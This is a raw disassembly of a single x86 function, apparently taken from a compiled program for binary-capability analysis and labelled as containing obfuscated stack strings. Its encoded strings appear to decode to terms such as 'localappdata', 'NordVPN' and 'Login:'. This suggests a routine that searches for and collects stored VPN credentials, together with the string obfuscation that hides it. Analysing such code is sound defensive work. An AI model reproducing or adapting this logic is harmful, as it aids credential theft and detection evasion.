Function at 0x4248a4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453bd1
call fcn.004534f4
sub esp, 0x4bc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, ecx
and dword [ebp - 4], 0
mov esi, 0x406fc4
push esi
lea ecx, [ebp - 0xc4]
call fcn.0040bc98
push esi
lea ecx, [ebp - 0xf4]
call fcn.0040bc98
mov dl, 0x16
mov dword [ebp - 0x1a], 0x71795a16
mov dword [ebp - 0x16], 0x362c787f
mov byte [ebp - 0x12], 0
xor ecx, ecx
mov dword [ebp - 0x8c], ecx
cmp ecx, 7
jae 0x424914
mov al, byte [ebp + ecx - 0x19]
xor al, dl
mov byte [ebp + ecx - 0x19], al
inc ecx
mov dword [ebp - 0x8c], ecx
mov dl, byte [ebp - 0x1a]
jmp 0x4248f9
mov byte [ebp - 0x12], 0
lea eax, [ebp - 0x19]
push eax
lea ecx, [ebp - 0x13c]
call fcn.0040bc98
mov al, 0x27
mov byte [ebp - 0x24], al
push 0x63
pop edx
mov byte [ebp - 0x23], dl
mov dword [ebp - 0x22], 0x6b797655
mov dword [ebp - 0x1e], 0x55575d
xor edx, edx
mov dword [ebp - 0x90], edx
cmp edx, 8
jae 0x424973
movsx ecx, al
and ecx, 0x8000000f
jns 0x42495d
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x23]
sub al, cl
mov byte [ebp + edx - 0x23], al
inc edx
mov dword [ebp - 0x90], edx
mov al, byte [ebp - 0x24]
jmp 0x424948
mov byte [ebp - 0x1b], 0
lea esi, [ebp - 0x23]
mov dl, 0x75
mov dword [ebp - 0x51], 0x161a1975
mov dword [ebp - 0x4d], 0x5141914
mov dword [ebp - 0x49], 0x1141105
mov word [ebp - 0x45], 0x14
xor ecx, ecx
mov dword [ebp - 0x94], ecx
cmp ecx, 0xc
jae 0x4249ba
mov al, byte [ebp + ecx - 0x50]
xor al, dl
mov byte [ebp + ecx - 0x50], al
inc ecx
mov dword [ebp - 0x94], ecx
mov dl, byte [ebp - 0x51]
jmp 0x42499f
mov byte [ebp - 0x44], 0
lea eax, [ebp - 0x50]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x154]
call fcn.0040bc98
push esi
mov edx, eax
lea ecx, [ebp - 0x124]
call fcn.00417bac
lea ecx, [ebp - 0x154]
call fcn.0040bc59
mov esi, dword [ebx + 0x354]
mov dl, 0x37
mov dword [ebp - 0x43], 0x58796b37
mov dword [ebp - 0x3f], 0x67615345
mov word [ebp - 0x3b], 0x1d79
mov byte [ebp - 0x39], 0
xor ecx, ecx
mov dword [ebp - 0x98], ecx
cmp ecx, 9
jae 0x424a30
mov al, byte [ebp + ecx - 0x42]
xor al, dl
mov byte [ebp + ecx - 0x42], al
inc ecx
mov dword [ebp - 0x98], ecx
mov dl, byte [ebp - 0x43]
jmp 0x424a15
mov byte [ebp - 0x39], 0
lea eax, [ebp - 0x42]
push eax
lea edx, [ebp - 0x124]
lea ecx, [ebp - 0x10c]
call fcn.00417b5f
cmp dword [eax + 0x14], 0x10
jb 0x424a51
mov eax, dword [eax]
lea ecx, [ebp - 0x4c8]
push ecx
push eax
call esi
mov edi, eax
lea ecx, [ebp - 0x10c]
call fcn.0040bc59
cmp edi, 0xffffffff
je 0x424f47
lea eax, [ebp - 0x49c]
push eax
lea ecx, [ebp - 0x154]
call fcn.0040bc98
mov esi, eax
push 0x5c
lea edx, [ebp - 0x124]
lea ecx, [ebp - 0x10c]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0xdc]
call fcn.0041c09c
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0xc4]
call fcn.0040cac9
lea ecx, [ebp - 0xdc]
call fcn.0040bc59
lea ecx, [ebp - 0x10c]
call fcn.0040bc59
lea ecx, [ebp - 0x154]
call fcn.0040bc59
mov eax, dword [ebx + 0x350]
push edi
call eax
xor al, al
mov byte [ebp - 0x11], al
mov esi, dword [ebx + 0x354]
push 0x407000
lea edx, [ebp - 0xc4]
lea ecx, [ebp - 0x10c]
call fcn.00417b5f
cmp dword [eax + 0x14], 0x10
jb 0x424b0d
mov eax, dword [eax]
lea ecx, [ebp - 0x388]
push ecx
push eax
call esi
mov esi, eax
lea ecx, [ebp - 0x10c]
call fcn.0040bc59
cmp esi, 0xffffffff
je 0x424f47
test byte [ebp - 0x388], 0x10
je 0x424bbb
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x88]
call fcn.0040bc98
mov edx, 0x407008
lea ecx, [ebp - 0x88]
call fcn.00412c2f
test al, al
jne 0x424bb0
mov edx, 0x407004
lea ecx, [ebp - 0x88]
call fcn.00412c2f
test al, al
jne 0x424bb0
lea eax, [ebp - 0x88]
push eax
mov dl, 0x5c
lea ecx, [ebp - 0x10c]
call fcn.00417be5
push eax
lea ecx, [ebp - 0xc4]
call fcn.00412646
lea ecx, [ebp - 0x10c]
call fcn.0040bc59
mov byte [ebp - 0x11], 1
lea ecx, [ebp - 0x88]
call fcn.0040bc59
jmp 0x424bd3
lea ecx, [ebp - 0x88]
call fcn.0040bc59
mov eax, dword [ebx + 0x358]
lea ecx, [ebp - 0x388]
push ecx
push esi
call eax
test eax, eax
jne 0x424b2d
mov eax, dword [ebx + 0x350]
push esi
call eax
cmp byte [ebp - 0x11], 0
je 0x424f47
mov al, 0x4a
mov dword [ebp - 0x5f], 0x7d7f664a
mov dword [ebp - 0x5b], 0x6d387c6f
mov dword [ebp - 0x57], 0x73707879
mov word [ebp - 0x53], 0x71
xor edx, edx
mov dword [ebp - 0x9c], edx
cmp edx, 0xc
jae 0x424c36
movsx ecx, al
and ecx, 0x8000000f
jns 0x424c20
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x5e]
sub al, cl
mov byte [ebp + edx - 0x5e], al
inc edx
mov dword [ebp - 0x9c], edx
mov al, byte [ebp - 0x5f]
jmp 0x424c0b
mov byte [ebp - 0x52], 0
lea eax, [ebp - 0x5e]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00417aba
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0xc4]
push eax
mov ecx, ebx
call fcn.0041ef9f
cmp dword [ebp - 0xe4], 0
je 0x424f06
mov dl, 0x29
mov dword [ebp - 0x2e], 0x5a487929
mov dword [ebp - 0x2a], 0x5b465e5a
mov word [ebp - 0x26], 0x4d
xor ecx, ecx
mov dword [ebp - 0xa0], ecx
cmp ecx, 8
jae 0x424ca4
mov al, byte [ebp + ecx - 0x2d]
xor al, dl
mov byte [ebp + ecx - 0x2d], al
inc ecx
mov dword [ebp - 0xa0], ecx
mov dl, byte [ebp - 0x2e]
jmp 0x424c89
mov byte [ebp - 0x25], 0
lea eax, [ebp - 0x2d]
push eax
lea ecx, [ebp - 0x184]
call fcn.0040bc98
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x22c]
push eax
call fcn.004255c3
mov edx, eax
lea ecx, [ebp - 0x214]
call fcn.0040b132
push eax
lea eax, [ebp - 0x1fc]
push eax
mov ecx, ebx
call fcn.0041f3d2
mov esi, eax
mov dl, 0x10
mov dword [ebp - 0x6d], 0x401a1d10
mov byte [ebp - 0x69], 0x71
push 0x63
pop eax
mov byte [ebp - 0x68], al
mov byte [ebp - 0x67], al
mov dword [ebp - 0x66], 0x74627f67
mov word [ebp - 0x62], 0x302a
mov byte [ebp - 0x60], 0
xor ecx, ecx
mov dword [ebp - 0xa4], ecx
cmp ecx, 0xc
jae 0x424d39
mov al, byte [ebp + ecx - 0x6c]
xor al, dl
mov byte [ebp + ecx - 0x6c], al
inc ecx
mov dword [ebp - 0xa4], ecx
mov dl, byte [ebp - 0x6d]
jmp 0x424d1e
mov byte [ebp - 0x60], 0
lea edi, [ebp - 0x6c]
push 0x63
pop edx
mov byte [ebp - 0x38], dl
mov dword [ebp - 0x37], 0x11061036
mov dword [ebp - 0x33], 0x60e020d
mov byte [ebp - 0x2f], 0
xor ecx, ecx
mov dword [ebp - 0xa8], ecx
cmp ecx, 8
jae 0x424d7b
mov al, byte [ebp + ecx - 0x37]
xor al, dl
mov byte [ebp + ecx - 0x37], al
inc ecx
mov dword [ebp - 0xa8], ecx
mov dl, byte [ebp - 0x38]
jmp 0x424d60
mov byte [ebp - 0x2f], 0
lea eax, [ebp - 0x37]
push eax
lea ecx, [ebp - 0x16c]
call fcn.0040bc98
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x1e4]
push eax
call fcn.004255c3
mov edx, eax
lea ecx, [ebp - 0x1cc]
call fcn.0040b132
push eax
lea eax, [ebp - 0x1b4]
push eax
mov ecx, ebx
call fcn.0041f3d2
push edi
mov edx, eax
lea ecx, [ebp - 0x19c]
call fcn.00417bac
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0xdc]
call fcn.0041c09c
lea eax, [ebp - 0xdc]
cmp dword [ebp - 0xc8], 0x10
cmovae eax, dword [ebp - 0xdc]
push dword [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x13c]
call fcn.00412bce
lea ecx, [ebp - 0xdc]
call fcn.0040bc59
lea ecx, [ebp - 0x19c]
call fcn.0040bc59
lea ecx, [ebp - 0x1b4]
call fcn.0040bc59
lea ecx, [ebp - 0x1cc]
call fcn.0040bc59
lea ecx, [ebp - 0x1e4]
call fcn.0040bc59
lea ecx, [ebp - 0x16c]
call fcn.0040bc59
lea ecx, [ebp - 0x1fc]
call fcn.0040bc59
lea ecx, [ebp - 0x214]
call fcn.0040bc59
lea ecx, [ebp - 0x22c]
call fcn.0040bc59
lea ecx, [ebp - 0x184]
call fcn.0040bc59
lea esi, [ebx + 0x3b0]
push dword [ebp + 8]
mov ecx, esi
call fcn.004439d9
mov al, 0x6e
mov dword [ebp - 0x7e], 0x7d5c6a6e
mov dword [ebp - 0x7a], 0x5e647280
mov dword [ebp - 0x76], 0x86823c5c
mov word [ebp - 0x72], 0x82
xor edx, edx
mov dword [ebp - 0xac], edx
cmp edx, 0xc
jae 0x424ed6
movsx ecx, al
and ecx, 0x8000000f
jns 0x424ec0
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x7d]
sub al, cl
mov byte [ebp + edx - 0x7d], al
inc edx
mov dword [ebp - 0xac], edx
mov al, byte [ebp - 0x7e]
jmp 0x424eab
mov byte [ebp - 0x71], 0
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x7d]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x244]
call fcn.00417b5f
push eax
mov ecx, esi
call fcn.00443927
lea ecx, [ebp - 0x244]
call fcn.0040bc59
lea ecx, [ebp - 0x124]
call fcn.0040bc59
lea ecx, [ebp - 0x13c]
call fcn.0040bc59
lea ecx, [ebp - 0xf4]
call fcn.0040bc59
lea ecx, [ebp - 0xc4]
call fcn.0040bc59
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
lea ecx, [ebp - 0x124]
call fcn.0040bc59
lea ecx, [ebp - 0x13c]
call fcn.0040bc59
lea ecx, [ebp - 0xf4]
call fcn.0040bc59
lea ecx, [ebp - 0xc4]
call fcn.0040bc59
jmp 0x424f36